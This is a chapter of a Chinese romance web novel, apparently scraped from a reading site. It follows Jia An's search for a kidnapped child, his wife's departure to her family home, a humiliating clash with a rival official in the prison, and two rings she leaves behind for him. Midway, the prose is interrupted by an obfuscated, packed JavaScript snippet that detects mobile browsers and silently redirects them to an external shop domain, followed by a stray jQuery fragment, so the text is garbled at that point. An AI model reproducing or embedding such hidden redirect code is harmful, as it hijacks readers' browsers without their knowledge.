文趣网 > 其他小说 > 破戒 > 63. 留下戒指
    第二日清晨。

    晨曦的第一缕阳光透过窗户照进屋内,光点透过屏风落在后面的床上。

    床上的人缓缓睁开眼,不自觉往旁边空落落的手臂处看去,最后视线放空,落在那一缕阳光上。

    贾二刚进来就感受到自家主子的低气压,硬着头皮,说出那句最近已经说了无数次的话。

    “小姐回来之前,您也得养好身体。”

    贾二站在一旁看着他眼下淡淡的乌青,轻叹口气。

    贾黯边穿衣边说:“昨夜有新消息吗?”

    提前做好了最坏的打算——衡儿已经被转手出去。

    派人在下面的几个州县都一一排查谁家多了同龄的三岁孩子。

    贾黯往贾二方向瞥了一眼就知道,说:“多派些人,继续扩大范围。”

    贾二低头说:“是。”

    两人前后出了书房,贾二走着走着感觉前面人停住了脚步。

    他抬起头看到贾黯眼神复杂地看向一处,顺着视线望过去,是主子和少夫人的卧房。

    两人婚后,除了刚开始的几天,和贾黯在大理寺没回来的夜晚,几乎都是同房睡。

    还有知道她偷偷找王大夫要避孕药,他吃醋那晚。

    与那晚不同的是,这次没人再半夜爬上他床,还自然的把他胳膊当枕头。

    贾二不知道两人又闹什么矛盾,想着可能夫妻都是这样。

    递台阶说:“要不要和少夫人一起用早膳?”

    紧闭的房门内,春花看着小姐木着脸色一口一口喝粥,心中一阵心疼。

    她虽不知道昨夜两人究竟吵了什么,可看小姐的脸色,她猜测总离不开衡儿小姐被拐的事情。

    春花叹口气说:“小姐,我去把姑爷叫过来用膳。”

    甄享柔脸上终于有了表情,放下碗,微笑说:“我没事,不用管他。我回家待几天,你帮我收拾一下。”

    春花走过去,像小时候那样,把小姐抱进怀里,说:“这里就我和小姐,不想笑不用笑出来。”

    脸埋进春花怀里的甄享柔抽了抽鼻子,闷闷说:“好。”

    院子里。

    贾二问出要不要和少夫人一起用晚膳那句话后,他感觉到主子脚步有一瞬间是往那里迈出的。

    迈出去的下一个瞬间,贾黯清醒过来,嘴上说:“不用,直接走。”

    脚步硬生生调转了个方向,贾二只好跟了上去。

    甄府此时也是乱成一锅粥。

    除了是小姐联合少爷拐卖衡儿小姐的流言,现在多了个秋月肚子里的不是少爷的种。

    甄享柔下马车的时候,只看见秋月站在门口等自己。

    甄享柔快步走过去,拦住大着肚子给自己行礼的秋月,调戏似的摸了摸她的脸,笑着说:“几天没见,怎么还瘦了?有人欺负你?”

    秋月笑着说:“有小姐罩着我,谁敢欺负我,是孩子闹得我没胃口。”

    甄享柔边往里走,边说:“畅儿对你还好吗?”

    秋月想到什么,停顿一下,点点头。

    她刚开始是看中少爷老实,心想以后多给他纳几个妾补偿他。

    相处下来,才知道他好像是真的想对自己好,也做到了。

    也许,等孩子出生后,她可以找个机会和他坦白一切。

    不待甄享柔揶揄她,余光中看到几个仆人聚集在一边对这里指指点点。

    虽听不清具体说什么,直觉是在议论一些近日的流言。

    甄享柔可以不在乎,但她不能不为孤身的秋月考虑。

    她快步走上前,沉声说:“说什么呢?不想干就领钱走人。”

    这一群人倒也没想到好脾气的小姐能当众发威,一个个对上眼神,弯腰低头不语。

    甄享柔皱眉说:“把心思放在正事上,甄府庙小,容不下大佛。告诉所有人,再有一次被抓到议论主子,通通都赶出府去。”

    众人齐声说:“是。”

    甄府主子少,活少,比起外面来说,给的银子也是最多。

    谁想不开,才会再三去触霉头。

    甄享柔的书房内。

    刚走进来,没了外人,只剩她们三个人。

    冬梅原形毕露,“哇~这里还是小姐走之前的布置,好怀念。”

    甄享柔看着往日的带流苏花边的粉坐垫,露出真心的笑容。

    当时是发生什么事了?

    只记得自己决定在这里好好过下去。

    秋月看着冬梅露出久违的孩子气,笑着说:“那你回来住啊。”

    冬梅撅着嘴,说:“你以为我不想啊,你都不知道,现在姑爷脸有多臭,昨晚还睡书房——”

    甄享柔出口打断她,“冬梅!”

    冬梅噤声,扶着秋月坐在了椅子上。

    秋月看着坐在书桌后的小姐说:“小姐,你要回来住几天,过几日嫩香椿就送来了,我给小姐做香椿炒蛋。”

    冬梅有了吃就什么都忘了,抢着说:“好啊,小姐收拾了好多件衣服回来的。”

    书桌后的甄享柔淡淡说:“我不在这住,我需要你们帮我一个忙。”

    秋月和冬梅对视一眼,都有种不好的预感。

    果然,甄享柔继续说:“你们帮我找一家独居的寡妇家,我在里面住几天。”

    “小姐!”

    谁不知道,现在除了小孩,人贩子最爱找上门的就是独居寡妇。

    有些胆小的寡妇不顾名声,深夜宁愿躲在邻居的房间内,也不愿回家住。

    秋月快速反应过来,一把拽住要上前的冬梅,对着小姐说:“就算要找衡儿小姐,这样也太危险了。里面什么样,我们都是没有数的。”

    冬梅不忍心硬掰开秋月攥得发白的手指,站在原地,说:“小姐,有什么事咱们慢慢商量。秋月说得对,这太危险了。”

    她也喜欢衡儿小姐,为她感到不幸。

    可自己小姐的安危更重要。

    甄享柔摇摇头,说:“衡儿一个小孩,晚一天,她就害怕一天。时间不等人。”

    秋月想了想,说:“可是我们不知道人贩子下一个目标是哪里,总不能坐着等。”

    甄享柔从袖子里抽出一张纸,夹在手指间冲她们晃了晃,笑着说:“贾黯知道。”

    她趁贾黯出去的时候,偷偷进去他书房翻了翻,找到了他们对人贩子下手规律的总结,抄录下来。

    按照上面的来,总能等到守株待兔的时候。

    大理寺狱内。

    冤家路窄,李大人远远看见来人,加快步伐走了上去。

    李大人拱手说:“贾大人,不知道来我的犯人这里,有何贵干?”

    他的重音放在“我的”两个字上。

    贾黯没心思理会他的得意,快速说:“我是大理寺少卿,有职责审问所有犯人。”

    可眼前人没有让路的意思,仍要笑不笑挡在贾黯身前。

    贾黯看他,说:“你要什么?”

    李大人最讨厌的就是他这副高高在上的施舍态度。小时候目睹母亲靠邻居的施舍供养自己读书,从那时开始,心中暗暗发誓,他要让所有看不起他的人刮目相看。

    可这个人总是不把人放在眼里,现在好了,也有他求他的时候。

    李大人痛快地说:“我要你跪下求我。”

    两人身后各自跟着的护卫都是一惊。

    这李大人莫不是疯了?

    本就安静的大理寺狱内更是安静了一瞬。

    随后传来贾黯的冷笑。

    贾黯看着他洋洋得意的样子,冷笑一声,说:“你也配?”

    说完,不待眼前人继续痴心妄想,上前越过他,一脚踹在他后面的腿窝上。

    李大人本就是手无缚鸡之力的读书人,贾黯又夹杂着几分发泄的力道。

    两个护卫来不及动手扶,只见李大人五官狰狞着,“扑通”一声,双膝跪倒在地上。

    李大人捂着膝盖,仰头瞪着始作俑者。

    贾黯皱眉瞥了眼自己的鞋尖,说:“脏了。”

    踹了人,还当面骂人脏。

    两边的护卫都低头当没看见,也没人敢动。

    李大人气得要上手打他。

    贾黯轻轻往后一退,没让他碰到一点,垂下眼皮看他,说:“那几个犯人就当李大人送我的赔礼,多谢。”

    说完,转身就走。

    仍跪在地上的李大人冲着他离去的方向大吼:“贾黯!你一定会遭报应的!”

    跟在身后的护卫听见后,悄悄去看贾黯的脸色。

    没想到,贾黯听到后,嘴角反而上扬,吓得护卫打了个寒颤。

    护卫心想:这都春天了,怎么突然这么冷。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17879448|209731||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>报应?

    贾黯不信因果报应,不信前世今生。

    不过是一些失败的人,给自己找补罢了。

    失败的人,才爱用一些冠冕堂皇的话给自己找心理安慰。

    过了不知道多久,贾二终于在门口等到主子出来。

    他熟练地上前递上手帕。

    不等贾二开口,贾黯边擦手边说:“和她说一声,我晚上不回去了,让她不用等我。”

    两人之前再吵架,也就间隔一夜。

    贾二抿嘴笑着说:“那个……上午家里有人来说过,少夫人回娘家了。”

    贾黯擦手的动作一顿,随即说:“你去接她回来。”

    贾二为难地说:“听说少夫人装了一大车衣服,许是要住上一阵儿。”

    看到贾黯皱起来地眉头,贾二立马又说:“说不定是担心秋月怀着孩子不方便,去陪她一阵,很快就回来。”

    刚说完,就想扇自己嘴。

    没事扯什么孩子。

    第二天中午,贾黯几乎没合眼的暂时处理好手头的任务。

    冲着外面喊:“贾二,备马。”

    两柱香后,两人两马一块到了甄府门口。

    贾黯不顾门房进去通报,随手把鞭子扔向贾二手里,径直往甄府走去。

    甄享畅听到通报,慌忙跑出来,看到的就是贾黯大步往姐姐院子走去的场景。

    他顾不上面子,冲着那边跑边喊:“姐夫!姐夫!留步!”

    贾黯皱眉停下来,等他追上来后,说:“何事?”

    大有这是他家,让甄享畅滚出去的架势。

    甄享畅吞咽下口水,笑着喘气说:“我姐和秋月她们去城外上香祈福,不在家。”

    贾黯看着他说:“哪座庙?”

    甄享畅眼珠子一转,说:“姐夫,我姐就是暂时不想见到你,你让她冷静两天就好了。逼太紧不好。”

    秋月后来还是和甄享畅说了,光凭她们三个人也无法完成这件事。

    他害怕秋月站出来后,贾黯一上头,不一定对秋月做什么事。

    他来当这个恶人。

    贾黯当然看出他在撒谎,可猜不出为何。

    想当然以为她或是真的有点累了。

    两人两马直接回到了大理寺,又过两天,贾黯才久违回到家。

    一路上都在想,这次应该气消了。

    还不愿意回家,他一个人又该怎么办?

    她不会这么狠心。

    直到推开两人的卧房门,最后一丝希望破灭。

    里面空无一人。

    此时是白天,往日充满欢声笑语的院子,现在只剩下他。

    “喵~”

    贾黯低头看到不知道什么时候蹿进来的宝儿,弯腰把宝儿抱起,手上无意识顺了两把它的毛。

    对着空气说:“我会把她找回来的。”

    宝儿自是不懂他在说什么,猛地一下跳下去。

    怀里一空的感觉,让他不自觉呆愣一瞬。

    很快,他整理好,想要转身出去。

    大理寺还有很多需要忙的。

    踏出门槛的一瞬间,余光中看到宝儿跳上梳妆桌,阳光下闪过一丝耀眼的红光。

    贾黯调转脚步,走到梳妆桌前,眯着眼打量上面的首饰。

    上面的首饰比他离家那日少了一些,也多了一些。

    少了一些日常佩戴的,多了一个镯子和两枚形状诡异的戒指。

    两枚戒指放在镯子中间,显然是故意留给他的。

    镯子是新婚第一日,母亲送她的。

    他皱眉拿起那两枚戒指,第一下没有拿起来。

    稳了下心神,第二下拿了起来。

    两枚一大一小,细节也有不同。

    粗略一看,整体都是耀眼的金色,正中间镶嵌一颗红宝石。

    大的那枚,仔细看,能分辨出是一圈曲折的藤蔓,最后汇合在中间的凌霄花里,那枚小小的红宝石就镶嵌在凌霄花的花蕊里。

    小的那枚,最突出的特征,是那颗更大的红宝石,这枚上面却不是藤蔓汇合进凌霄花,而是一圈长方形的类似砖块的纹路,最后凌霄花中间镶嵌一颗红宝石。

    贾黯看着手心里的两枚戒指笑了,喃喃说:“哪有定情信物送凌霄花的,还非要我攀岩着你而活,到底谁霸道?”